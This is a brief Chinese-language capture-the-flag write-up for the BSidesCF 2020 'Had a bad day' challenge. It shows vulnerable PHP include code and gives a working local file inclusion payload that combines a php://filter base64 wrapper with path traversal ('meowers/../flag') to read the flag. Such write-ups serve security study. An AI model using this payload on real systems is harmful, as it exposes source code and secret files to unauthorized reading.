[BSidesCF 2020]Had a bad day

image-20240507220210629

cheer不了一点,毕竟是学网安的

这里可以看到只有两个选项,所以我们想查看一下其他的东西

可以使用伪协议进行读取

(我觉得只要直接传入参数看不到东西的时候就用伪协议)

base64解码之后读取到源码

 <?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>

这里保留了php代码部分,因为基本上不会是前端出问题

在这里能看出来,这是要传woofers或者meowers上去

换句话说就是你传上去的东西里面必须包含了其中一个字符串

所以我们可以采取文件包含

比如woofers/../flag

image-20240507221250137

发现了这个!

所以我么尝试使用伪协议读取(一般读不出来都用伪协议试试)

payload:

?category=php://filter/read=convert.base64-encode/resource=meowers/../flag

回显出一段字符串,base64解码

得到flag